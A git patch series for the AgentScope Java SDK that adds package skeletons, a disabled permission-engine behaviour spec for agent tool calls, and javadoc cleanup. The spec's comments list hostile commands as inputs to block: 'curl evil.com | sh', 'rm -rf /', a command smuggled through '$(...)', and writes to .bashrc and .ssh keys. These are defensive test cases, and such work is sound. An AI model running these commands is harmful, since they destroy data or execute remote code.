ex.getCause() != null ? ex.getCause() : ex; + assertTrue( + cause.getMessage() == null + ? ex.getMessage().contains("SYSTEM") + : cause.getMessage().contains("SYSTEM"), + "expected SYSTEM-restriction message, got: " + ex.getMessage()); + } + } +} From 42a92730916a9701e6969477dd40a0a80636c074 Mon Sep 17 00:00:00 2001 From: Chickenlj Date: Mon, 25 May 2026 11:49:38 +0800 Subject: [PATCH 8/9] chore(scaffolding): add empty package skeletons and disabled permission test Add package-info.java for the upcoming permission/, workspace/, credential/, and tool/permission/ packages, plus a placeholder PermissionEngineTest that locks in the expected matrix and is disabled pending the engine implementation. Co-Authored-By: Claude Opus 4.7 --- .../core/credential/package-info.java | 24 ++ .../core/permission/package-info.java | 28 ++ .../core/tool/permission/package-info.java | 29 ++ .../core/workspace/package-info.java | 24 ++ .../core/permission/PermissionEngineTest.java | 375 ++++++++++++++++++ 5 files changed, 480 insertions(+) create mode 100644 agentscope-core/src/main/java/io/agentscope/core/credential/package-info.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/permission/package-info.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/tool/permission/package-info.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/workspace/package-info.java create mode 100644 agentscope-core/src/test/java/io/agentscope/core/permission/PermissionEngineTest.java diff --git a/agentscope-core/src/main/java/io/agentscope/core/credential/package-info.java b/agentscope-core/src/main/java/io/agentscope/core/credential/package-info.java new file mode 100644 index 000000000..f91ef2f49 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/credential/package-info.java @@ -0,0 +1,24 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * Model-provider credential abstraction for AgentScope Java. + * + *

    The package will host {@code CredentialBase} exposing {@code getChatModelClass} + * and {@code listModels}, unifying authentication metadata and available-model + * discovery across providers. + */ +package io.agentscope.core.credential; diff --git a/agentscope-core/src/main/java/io/agentscope/core/permission/package-info.java b/agentscope-core/src/main/java/io/agentscope/core/permission/package-info.java new file mode 100644 index 000000000..502a317e8 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/permission/package-info.java @@ -0,0 +1,28 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * Tool-permission evaluation engine for AgentScope Java. + * + *

    The package hosts {@code PermissionEngine}, {@code PermissionMode}, + * {@code PermissionRule}, {@code PermissionContext}, {@code PermissionDecision} + * and {@code PermissionBehavior}. The evaluation order is: + * + * 

    + *   deny → ask → tool self-check → allow → BYPASS → default ASK
+ *
    + */ +package io.agentscope.core.permission; diff --git a/agentscope-core/src/main/java/io/agentscope/core/tool/permission/package-info.java b/agentscope-core/src/main/java/io/agentscope/core/tool/permission/package-info.java new file mode 100644 index 000000000..0a06dcae2 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/tool/permission/package-info.java @@ -0,0 +1,29 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * Tool-protocol base types co-located with the permission engine for + * AgentScope Java 2.0 (Stage 2). + * + *

    This sub-package isolates the new {@code ToolBase} abstract class plus + * {@code ToolContext}, {@code ReadCacheEntry}, and other safety-metadata + * carriers from the v1 {@code tool/Tool.java} surface, allowing the two + * surfaces to coexist while {@code Toolkit} migrates to accept the new base. + * + *

    Placeholder for Stage 2 — see + * {@code docs/v2-design/proposal-delta.md} entries T1–T6. + */ +package io.agentscope.core.tool.permission; diff --git a/agentscope-core/src/main/java/io/agentscope/core/workspace/package-info.java b/agentscope-core/src/main/java/io/agentscope/core/workspace/package-info.java new file mode 100644 index 000000000..2e58ca2f7 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/workspace/package-info.java @@ -0,0 +1,24 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * Agent execution environment abstraction for AgentScope Java. + * + *

    The package will host the {@code WorkspaceBase} contract (initialize, close, + * getInstructions, listTools, listSkills, offloadContext, offloadToolResult) + * and a {@code LocalWorkspace} default implementation. + */ +package io.agentscope.core.workspace; diff --git a/agentscope-core/src/test/java/io/agentscope/core/permission/PermissionEngineTest.java b/agentscope-core/src/test/java/io/agentscope/core/permission/PermissionEngineTest.java new file mode 100644 index 000000000..411147550 --- /dev/null +++ b/agentscope-core/src/test/java/io/agentscope/core/permission/PermissionEngineTest.java @@ -0,0 +1,375 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.permission; + +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; + +/** + * Behaviour spec for the {@code PermissionEngine}. + * + *

    Every test method is {@link Disabled} until the engine and its supporting + * types ({@code PermissionEngine}, {@code PermissionContext}, + * {@code PermissionMode}, {@code PermissionRule}, {@code PermissionBehavior}, + * {@code PermissionDecision}, {@code AdditionalWorkingDirectory}, and the + * built-in tool subclasses {@code Bash}, {@code Read}, {@code Write}, + * {@code Edit}) are implemented. Until then the file documents the expected + * behaviour so the implementation can drop in real assertions without + * re-discovering the contract. + * + *

    Coverage targets: + *

      + *
    1. Rule priority — deny > ask > allow
      2. + *
    2. Modes — BYPASS / DONT_ASK / ACCEPT_EDITS / EXPLORE / DEFAULT
      3. + *
    3. Bash rules — prefix, substring, multi-rule
      4. + *
    4. File rules — glob, directory globs
      5. + *
    5. Dangerous paths — dangerous files and dirs
      6. + *
    6. Rule suggestion generation
      7. + *
    7. Read-only detection
      8. + *
    8. Safety checks survive BYPASS
      9. + *
    + */ +@Disabled("Stage 3 implements PermissionEngine; this file locks the contract.") +class PermissionEngineTest { + + @Nested + @DisplayName("Rule priority: deny > ask > allow") + class RulePriority { + + @Test + @DisplayName("Deny rule overrides allow rule on the same pattern") + void denyOverridesAllow() { + // GIVEN engine with allow rule {tool=Bash, pattern=git:*} + // AND engine with deny rule {tool=Bash, pattern=git:*} + // WHEN check_permission(Bash, {command: "git status"}) + // THEN decision.behavior == DENY + } + + @Test + @DisplayName("Ask rule overrides allow rule on the same pattern") + void askOverridesAllow() { + // GIVEN engine with allow + ask rules on {tool=Bash, pattern=npm:*} + // WHEN check_permission(Bash, {command: "npm install"}) + // THEN decision.behavior == ASK + } + + @Test + @DisplayName("Deny > Ask > Allow when all three are registered") + void fullPriorityOrder() { + // GIVEN allow + ask + deny rules on {tool=Bash, pattern=test:*} + // WHEN check_permission(Bash, {command: "test command"}) + // THEN decision.behavior == DENY (deny wins) + } + } + + @Nested + @DisplayName("Modes: BYPASS / DONT_ASK / ACCEPT_EDITS / EXPLORE / DEFAULT") + class Modes { + + @Test + @DisplayName("BYPASS allows unmatched tool calls") + void bypassAllowsByDefault() { + // GIVEN PermissionContext(mode=BYPASS), no rules + // WHEN check_permission(Bash, {command: "npm install"}) + // THEN decision.behavior == ALLOW + } + + @Test + @DisplayName("Deny rule wins even in BYPASS") + void bypassRespectsDeny() { + // GIVEN BYPASS + deny rule {tool=Bash, pattern=rm:*} + // WHEN check_permission(Bash, {command: "rm -rf /tmp"}) + // THEN decision.behavior == DENY + } + + @Test + @DisplayName("Dangerous path is bypass-immune (returns ASK in BYPASS)") + void bypassAsksOnDangerousPath() { + // GIVEN BYPASS + // WHEN check_permission(Write, {file_path: "/home/user/.bashrc"}) + // THEN decision.behavior == ASK + } + + @Test + @DisplayName("DONT_ASK converts default ASK into DENY") + void dontAskDeniesUnknown() { + // GIVEN DONT_ASK, no rules + // WHEN check_permission(Bash, {command: "npm install"}) + // THEN decision.behavior == DENY + } + + @Test + @DisplayName("ACCEPT_EDITS allows Write/Read/Edit within working dir") + void acceptEditsAllowsInsideWorkingDir() { + // GIVEN ACCEPT_EDITS, working_dir=/tmp/project + // WHEN check_permission(Write|Read|Edit, {file_path: "/tmp/project/file.txt"}) + // THEN all three return ALLOW + } + + @Test + @DisplayName("ACCEPT_EDITS asks for edits outside working dir") + void acceptEditsAsksOutsideWorkingDir() { + // GIVEN ACCEPT_EDITS, working_dir=/tmp/project + // WHEN check_permission(Edit, {file_path: "/home/user/file.txt"}) + // THEN decision.behavior == ASK + } + + @Test + @DisplayName("EXPLORE allows read operations") + void exploreAllowsRead() { + // GIVEN EXPLORE + // WHEN check_permission(Read, {file_path: "/tmp/file.txt"}) + // THEN decision.behavior == ALLOW + } + + @Test + @DisplayName("EXPLORE denies write operations") + void exploreDeniesWrite() { + // GIVEN EXPLORE + // WHEN check_permission(Write, {file_path: "/tmp/file.txt"}) + // THEN decision.behavior == DENY + } + } + + @Nested + @DisplayName("Bash rules: prefix, substring, multi-rule") + class BashRules { + + @Test + @DisplayName("\"git:*\" matches \"git\", \"git status\", \"git add .\"") + void bashPrefixWildcardMatches() { + // GIVEN allow rule {tool=Bash, pattern=git:*} + // THEN "git" → ALLOW, "git status" → ALLOW, "git add ." → ALLOW + // AND "npm install" → ASK (default) + } + + @Test + @DisplayName("Substring pattern \"install\" matches mid-command") + void bashSubstringMatch() { + // GIVEN deny rule {tool=Bash, pattern=install} + // THEN "npm install package" → DENY, "pip install requests" → DENY + } + + @Test + @DisplayName("Mixed rules resolve by tool+pattern match precedence") + void bashMultipleRules() { + // GIVEN deny rule {pattern=rm:*} AND allow rule {pattern=git:*} + // THEN "rm -rf /tmp" → DENY, "git status" → ALLOW, "npm install" → ASK + } + } + + @Nested + @DisplayName("File rules: glob, directory globs") + class FileRules { + + @Test + @DisplayName("Glob pattern \"*.py\" matches Python file paths") + void fileGlobPattern() { + // GIVEN allow rule {tool=Read, pattern=*.py} + // THEN Read({file_path:"main.py"}) → ALLOW + // AND Read({file_path:"main.txt"}) → ASK + } + + @Test + @DisplayName("Directory glob \"src/**\" matches nested paths") + void fileDirectoryPattern() { + // GIVEN allow rule {tool=Write, pattern=src/**} + // THEN Write({file_path:"src/main.py"}) → ALLOW + // AND Write({file_path:"src/util/x.py"}) → ALLOW + // AND Write({file_path:"test/x.py"}) → ASK + } + } + + @Nested + @DisplayName("Dangerous path enforcement") + class DangerousPath { + + @Test + @DisplayName("Write to dangerous file (.bashrc) requires ASK") + void dangerousFileBlocksWrite() { + // WHEN Write({file_path:"/home/user/.bashrc"}) + // THEN decision.behavior == ASK regardless of mode + } + + @Test + @DisplayName("Edit on dangerous file requires ASK") + void dangerousFileBlocksEdit() { + // WHEN Edit({file_path:"/home/user/.gitconfig"}) + // THEN decision.behavior == ASK + } + + @Test + @DisplayName("Write inside dangerous dir (.ssh) requires ASK") + void dangerousDirectoryBlocksWrite() { + // WHEN Write({file_path:"/home/user/.ssh/id_rsa"}) + // THEN decision.behavior == ASK + } + + @Test + @DisplayName("Bash command touching dangerous path requires ASK") + void dangerousPathInBashCommand() { + // WHEN Bash({command:"cat /home/user/.bashrc"}) + // THEN decision.behavior == ASK + } + + @Test + @DisplayName("Dangerous path is bypass-immune") + void dangerousPathBypassImmune() { + // GIVEN PermissionContext(mode=BYPASS) + // WHEN Write({file_path:"/home/user/.bashrc"}) + // THEN decision.behavior == ASK + } + + @Test + @DisplayName("Dangerous path overrides ACCEPT_EDITS inside working dir") + void dangerousPathInAcceptEditsMode() { + // GIVEN ACCEPT_EDITS, working_dir=/home/user + // WHEN Write({file_path:"/home/user/.bashrc"}) + // THEN decision.behavior == ASK + } + + @Test + @DisplayName("Safe file does not trigger dangerous-path check") + void safeFileAllowsWrite() { + // GIVEN ACCEPT_EDITS, working_dir=/tmp/project + // WHEN Write({file_path:"/tmp/project/main.py"}) + // THEN decision.behavior == ALLOW + } + } + + @Nested + @DisplayName("Rule suggestions emitted on ASK") + class Suggestions { + + @Test + @DisplayName("Bash ASK suggests command prefix pattern") + void bashSuggestions() { + // WHEN Bash({command:"git commit -m 'msg'"}) → ASK + // THEN decision.suggestions contains {pattern:"git commit:*", behavior:ALLOW} + } + + @Test + @DisplayName("File tool ASK suggests parent dir glob pattern") + void fileSuggestions() { + // WHEN Read({file_path:"src/main.py"}) → ASK + // THEN decision.suggestions contains {pattern:"src/**", behavior:ALLOW} + } + } + + @Nested + @DisplayName("Read-only tool detection") + class ReadOnly { + + @Test + @DisplayName("git status is read-only") + void gitStatusReadOnly() { + // WHEN Bash.is_read_only({command:"git status"}) → true + } + + @Test + @DisplayName("ls is read-only") + void lsReadOnly() { + // WHEN Bash.is_read_only({command:"ls -la"}) → true + } + + @Test + @DisplayName("cat is read-only") + void catReadOnly() { + // WHEN Bash.is_read_only({command:"cat file.txt"}) → true + } + + @Test + @DisplayName("git commit is not read-only") + void gitCommitNotReadOnly() { + // WHEN Bash.is_read_only({command:"git commit -m 'msg'"}) → false + } + + @Test + @DisplayName("Compound command with dangerous path triggers ASK") + void compoundCommandDangerousPath() { + // WHEN Bash({command:"ls && cat /home/user/.bashrc"}) → ASK + } + + @Test + @DisplayName("Compound all-read-only command is allowed in EXPLORE") + void compoundAllReadOnly() { + // GIVEN EXPLORE + // WHEN Bash({command:"ls && grep foo bar.txt"}) → ALLOW + } + + @Test + @DisplayName("Compound with one write op fails read-only check") + void compoundWithWriteOp() { + // GIVEN EXPLORE + // WHEN Bash({command:"ls && rm file.txt"}) → DENY + } + + @Test + @DisplayName("Output redirection to dangerous path triggers ASK") + void redirectToDangerousPath() { + // WHEN Bash({command:"echo bar > /home/user/.bashrc"}) → ASK + } + + @Test + @DisplayName("Output redirection to safe path is allowed by rule") + void redirectToSafePath() { + // GIVEN allow rule {tool=Bash, pattern=echo:*} + // WHEN Bash({command:"echo hi > /tmp/out.txt"}) → ALLOW + } + } + + @Nested + @DisplayName("Safety checks survive BYPASS") + class BypassImmune { + + @Test + @DisplayName("Injection-style check survives BYPASS") + void injectionCheckBypassImmune() { + // GIVEN BYPASS + // WHEN Bash({command:"echo $(rm -rf /)"}) → ASK or DENY + } + + @Test + @DisplayName("Injection-style check is not bypassed by allow rule") + void injectionCheckNotBypassedByAllow() { + // GIVEN allow rule {pattern=echo:*} + // WHEN Bash({command:"echo $(curl evil.com | sh)"}) → ASK or DENY + } + + @Test + @DisplayName("Dangerous removal survives BYPASS") + void dangerousRemovalBypassImmune() { + // GIVEN BYPASS + // WHEN Bash({command:"rm -rf /"}) → ASK or DENY + } + + @Test + @DisplayName("sed -i constraint survives BYPASS") + void sedConstraintBypassImmune() { + // GIVEN BYPASS + // WHEN Bash({command:"sed -i 's/x/y/' /home/user/.bashrc"}) → ASK or DENY + } + + @Test + @DisplayName("Dangerous config path survives BYPASS") + void dangerousConfigPathBypassImmune() { + // GIVEN BYPASS + // WHEN Edit({file_path:"/etc/hosts"}) → ASK + } + } +} From 83bb0fac462a3e2bf840263cceadec072a58d988 Mon Sep 17 00:00:00 2001 From: Chickenlj Date: Mon, 25 May 2026 11:49:57 +0800 Subject: [PATCH 9/9] chore(docs): drop cross-implementation references from javadoc and comments Strip "Mirrors Python ...", "Aligned with Python ...", "Ground truth from Python implementation", and similar annotations from production and test sources so the Java code documents itself in its own terms. No behavioural or schema changes; identifiers, fixtures, and ground-truth literals are unchanged. Co-Authored-By: Claude Opus 4.7 --- .../java/io/agentscope/core/agent/Agent.java | 6 ++--- .../agentscope/core/event/AgentEventType.java | 18 ++++++--------- .../DashScopeConversationMerger.java | 3 +-- .../DashScopeMultiAgentFormatter.java | 3 +-- .../gemini/GeminiMessageConverter.java | 3 +-- .../agentscope/core/message/ContentBlock.java | 2 +- .../io/agentscope/core/message/DataBlock.java | 19 ++++++--------- .../java/io/agentscope/core/message/Msg.java | 11 ++++----- .../agentscope/core/rag/model/Document.java | 7 +++--- .../core/event/AgentEventStreamTest.java | 23 +++++++++---------- ...DashScopeChatFormatterGroundTruthTest.java | 7 +++--- ...opeMultiAgentFormatterGroundTruthTest.java | 9 ++++---- ...AnthropicChatFormatterGroundTruthTest.java | 3 +-- ...picMultiAgentFormatterGroundTruthTest.java | 3 +-- .../GeminiChatFormatterGroundTruthTest.java | 5 ++-- .../gemini/GeminiFormatterTestData.java | 2 +- ...iniMultiAgentFormatterGroundTruthTest.java | 11 +++------ .../gemini/GeminiPythonConsistencyTest.java | 5 ++-- .../ollama/OllamaChatFormatterTest.java | 12 ++++------ .../ollama/OllamaMultiAgentFormatterTest.java | 12 +++------- .../core/message/DataBlockTest.java | 4 ++-- .../message/RoleContentValidationTest.java | 22 ++++++++---------- 22 files changed, 74 insertions(+), 116 deletions(-) diff --git a/agentscope-core/src/main/java/io/agentscope/core/agent/Agent.java b/agentscope-core/src/main/java/io/agentscope/core/agent/Agent.java index 6f9574636..a6111d35b 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/agent/Agent.java +++ b/agentscope-core/src/main/java/io/agentscope/core/agent/Agent.java @@ -40,10 +40,8 @@ * *

    Reply contract: a single {@code call(...)} invocation produces exactly one * terminal {@link Msg}. Streaming variants (see {@link StreamableAgent}) may emit - * many events but resolve to a single terminal Msg. This mirrors Python 2.0 - * {@code agent.reply()} which always returns a single Msg, and is enforced by - * the {@code Mono} return type on the call methods. Stage 7 of the 2.0 - * alignment will codify this in the Agent main-class refactor. + * many events but resolve to a single terminal Msg. This is enforced by the + * {@code Mono} return type on the call methods. */ public interface Agent extends CallableAgent, StreamableAgent, ObservableAgent { diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java b/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java index c2bef3c6f..65db7eaf0 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java +++ b/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java @@ -22,13 +22,10 @@ /** * Fine-grained event types emitted during agent execution. * - *

    Aligned with AgentScope Python 2.0 EventType. Each value carries a Java-native - * name plus a {@link JsonAlias} for the Python equivalent so JSON payloads can - * be round-tripped between the two SDKs without translation. See - * {@code docs/v2-design/RFC-000-event-naming.md} for the naming-divergence - * rationale. + *

    Each value carries a canonical name plus optional {@link JsonAlias} entries + * for legacy names so older JSON payloads continue to deserialize. * - *

    Python aliases recognised on deserialization: + *

    Legacy aliases recognised on deserialization: *

      *
    • {@code RUN_STARTED} → {@link #REPLY_START}
      • *
    • {@code RUN_FINISHED} → {@link #REPLY_END}
      • @@ -38,7 +35,7 @@ *
    • {@code TOOL_RESULT_BINARY_DELTA} → {@link #TOOL_RESULT_DATA_DELTA}
      • *
    * - *

    Serialization always emits the Java-native form. + *

    Serialization always emits the canonical form. */ public enum AgentEventType { @JsonAlias({"RUN_STARTED"}) @@ -95,11 +92,10 @@ public String getValue() { } /** - * Resolve an enum value from its Java-native string or any Python alias. + * Resolve an enum value from its canonical string or any legacy alias. * *

    Falls back to a case-sensitive match against {@link #getValue()} and the - * declared aliases when Jackson's default enum lookup misses (e.g. when an - * agent reads a payload produced by the Python SDK). + * declared aliases when Jackson's default enum lookup misses. * * @param raw the incoming string value * @return the corresponding enum constant @@ -115,7 +111,7 @@ public static AgentEventType fromValue(String raw) { return type; } } - // Python aliases — keep the mapping co-located with the enum for grep-ability. + // Legacy aliases — keep the mapping co-located with the enum for grep-ability. return switch (raw) { case "RUN_STARTED" -> REPLY_START; case "RUN_FINISHED" -> REPLY_END; diff --git a/agentscope-core/src/main/java/io/agentscope/core/formatter/dashscope/DashScopeConversationMerger.java b/agentscope-core/src/main/java/io/agentscope/core/formatter/dashscope/DashScopeConversationMerger.java index 5fdfbb33e..b763876fb 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/formatter/dashscope/DashScopeConversationMerger.java +++ b/agentscope-core/src/main/java/io/agentscope/core/formatter/dashscope/DashScopeConversationMerger.java @@ -163,7 +163,6 @@ public DashScopeMessage mergeToMessage( /** * Merge conversation messages into a single DashScopeMessage (multimodal mode). - * Follows Python's _format_agent_message logic exactly. * *

    This method combines all agent messages into a single user message with conversation * history wrapped in {@code } tags. Images and videos are preserved as separate @@ -196,7 +195,7 @@ public DashScopeMessage mergeToMultiModalMessage( for (ContentBlock block : msg.getContent()) { if (block instanceof TextBlock tb) { - // Accumulate text with agent name (Python format: "name: text") + // Accumulate text with agent name (format: "name: text") accumulatedText.add(name + ": " + tb.getText()); } else if (block instanceof ImageBlock imageBlock) { diff --git a/agentscope-core/src/main/java/io/agentscope/core/formatter/dashscope/DashScopeMultiAgentFormatter.java b/agentscope-core/src/main/java/io/agentscope/core/formatter/dashscope/DashScopeMultiAgentFormatter.java index 2df49033e..51ef42bc6 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/formatter/dashscope/DashScopeMultiAgentFormatter.java +++ b/agentscope-core/src/main/java/io/agentscope/core/formatter/dashscope/DashScopeMultiAgentFormatter.java @@ -157,7 +157,7 @@ public void applyToolChoice(DashScopeRequest request, ToolChoice toolChoice) { * Format AgentScope Msg objects to DashScope MultiModal message format. * This method is used for vision models that require the MultiModalConversation API. * - *

    This method follows Python's logic: + *

    Processing steps: * 1. Process system message (if any) * 2. Group remaining messages into "agent_message" and "tool_sequence" * 3. Process each group in order, with first agent_message having history prompt @@ -230,7 +230,6 @@ public DashScopeRequest buildRequest( /** * Group messages sequentially into agent_message and tool_sequence groups. - * This follows Python's _group_messages logic. * * @param msgs Messages to group (excluding system message) * @return List of MessageGroup objects in order diff --git a/agentscope-core/src/main/java/io/agentscope/core/formatter/gemini/GeminiMessageConverter.java b/agentscope-core/src/main/java/io/agentscope/core/formatter/gemini/GeminiMessageConverter.java index 34cd30dce..48ddb3de7 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/formatter/gemini/GeminiMessageConverter.java +++ b/agentscope-core/src/main/java/io/agentscope/core/formatter/gemini/GeminiMessageConverter.java @@ -207,8 +207,7 @@ private String convertRole(MsgRole role) { /** * Convert tool result output to string representation. - * Follows Python implementation: single item returns directly, - * multiple items use "- " prefix per line. + * Single item returns directly; multiple items use "- " prefix per line. * * @param output List of content blocks from tool result * @return String representation of the output diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java b/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java index af86b5efd..58ba6ab58 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java +++ b/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java @@ -36,7 +36,7 @@ *

  • {@link ToolUseBlock} - Tool execution requests *
  • {@link ToolResultBlock} - Tool execution results *
  • {@link HintBlock} - Hints for LLM reasoning (e.g., from RAG) - *
  • {@link DataBlock} - Generic binary data block unifying image/audio/video (Python 2.0 alignment) + *
  • {@link DataBlock} - Generic binary data block unifying image/audio/video * * *

    Uses Jackson annotations for polymorphic JSON serialization with the "type" discriminator diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/DataBlock.java b/agentscope-core/src/main/java/io/agentscope/core/message/DataBlock.java index 083460cf4..645228df2 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/message/DataBlock.java +++ b/agentscope-core/src/main/java/io/agentscope/core/message/DataBlock.java @@ -24,16 +24,12 @@ /** * Unified data block for arbitrary binary media (image / audio / video / file). * - *

    Mirrors Python {@code agentscope.message.DataBlock} (v2_dev). Unlike the - * legacy {@link ImageBlock}, {@link AudioBlock}, {@link VideoBlock} subclasses - * — which the Java SDK retains for back-compat — {@code DataBlock} is the - * forward-looking polymorphic container the Python SDK now emits for every - * binary modality. New code should prefer {@code DataBlock} over the legacy - * subclasses; the legacy types stay around as valid {@link MsgRole#USER} - * payloads to keep existing pipelines working. - * - *

    Stage 1 of the 2.0 alignment introduces this type; Stage 11 will mark - * the legacy image/audio/video blocks as deprecated. + *

    Unlike the legacy {@link ImageBlock}, {@link AudioBlock}, {@link VideoBlock} + * subclasses — which the SDK retains for back-compat — {@code DataBlock} is the + * forward-looking polymorphic container for every binary modality. New code + * should prefer {@code DataBlock} over the legacy subclasses; the legacy types + * stay around as valid {@link MsgRole#USER} payloads to keep existing pipelines + * working. */ @JsonInclude(JsonInclude.Include.NON_NULL) public final class DataBlock extends ContentBlock { @@ -48,8 +44,7 @@ public final class DataBlock extends ContentBlock { * Creates a new data block for JSON deserialization. * * @param source The data source (URL or Base64); required - * @param id Stable identifier; if null, a fresh UUID hex is generated to - * mirror Python {@code Field(default_factory=lambda: uuid.uuid4().hex)} + * @param id Stable identifier; if null, a fresh UUID hex is generated * @param name Optional human-readable name (e.g. file name); may be null * @throws NullPointerException if source is null */ diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/Msg.java b/agentscope-core/src/main/java/io/agentscope/core/message/Msg.java index b10f0cfe4..58aa16ca4 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/message/Msg.java +++ b/agentscope-core/src/main/java/io/agentscope/core/message/Msg.java @@ -113,11 +113,10 @@ private Msg( /** * Validates that the content blocks are compatible with the message role. * - *

    Mirrors Python {@code Msg.validate_role_content} (v2_dev). The Java - * SDK keeps the legacy {@link ImageBlock}/{@link AudioBlock}/{@link VideoBlock} - * types valid on {@link MsgRole#USER} alongside the unified - * {@link DataBlock}. {@link MsgRole#TOOL} is Java-only legacy and treated - * as unrestricted (same as assistant) to preserve back-compat. + *

    The legacy {@link ImageBlock}/{@link AudioBlock}/{@link VideoBlock} types + * remain valid on {@link MsgRole#USER} alongside the unified {@link DataBlock}. + * {@link MsgRole#TOOL} is legacy and treated as unrestricted (same as assistant) + * to preserve back-compat. * * @param role The message role * @param content The content blocks @@ -152,7 +151,7 @@ private static void validateRoleContent(MsgRole role, List content } } case ASSISTANT, TOOL -> { - // No restriction. Python assistant matches; TOOL preserved for Java back-compat. + // No restriction; TOOL preserved for back-compat. } } } diff --git a/agentscope-core/src/main/java/io/agentscope/core/rag/model/Document.java b/agentscope-core/src/main/java/io/agentscope/core/rag/model/Document.java index 3793a3072..2455d554c 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/rag/model/Document.java +++ b/agentscope-core/src/main/java/io/agentscope/core/rag/model/Document.java @@ -203,20 +203,19 @@ public void setVectorName(String vectorName) { * *

    This method creates a UUID v3 (name-based with MD5) from a JSON representation * of the document's key fields (doc_id, chunk_id, content). This ensures that the - * same document content always generates the same ID, which is compatible with the - * Python implementation's _map_text_to_uuid function. + * same document content always generates the same ID. * * @param metadata the document metadata * @return a deterministic UUID string */ private static String generateDocumentId(DocumentMetadata metadata) { - // Create a map with doc_id, chunk_id, and content (matching Python implementation) + // Create a map with doc_id, chunk_id, and content Map keyMap = new LinkedHashMap<>(); keyMap.put("doc_id", metadata.getDocId()); keyMap.put("chunk_id", metadata.getChunkId()); keyMap.put("content", metadata.getContent()); - // Serialize to JSON (ensure_ascii=False in Python, so we use default UTF-8) + // Serialize to JSON using default UTF-8 String jsonKey = JsonUtils.getJsonCodec().toJson(keyMap); // Generate UUID v3 (name-based with MD5) from the JSON string diff --git a/agentscope-core/src/test/java/io/agentscope/core/event/AgentEventStreamTest.java b/agentscope-core/src/test/java/io/agentscope/core/event/AgentEventStreamTest.java index 1ccb1d08c..f26644066 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/event/AgentEventStreamTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/event/AgentEventStreamTest.java @@ -30,18 +30,17 @@ * Contract tests for {@link AgentEventType} and the event-stream emitted by * {@code ReActAgent.replyStream(...)}. * - *

    The {@link JsonAliasRoundTrip} suite runs today — it exercises the - * Python-name aliases wired up in Stage 0.1 (see - * {@code docs/v2-design/RFC-000-event-naming.md}). + *

    The {@link JsonAliasRoundTrip} suite exercises the legacy-name aliases + * declared on {@link AgentEventType}. * - *

    The {@link StreamOrdering} suite is {@link Disabled} until Stage 7 - * finishes the Agent re-design. It documents the canonical event sequence so - * Stage 7 can drop in assertions without re-deriving it. + *

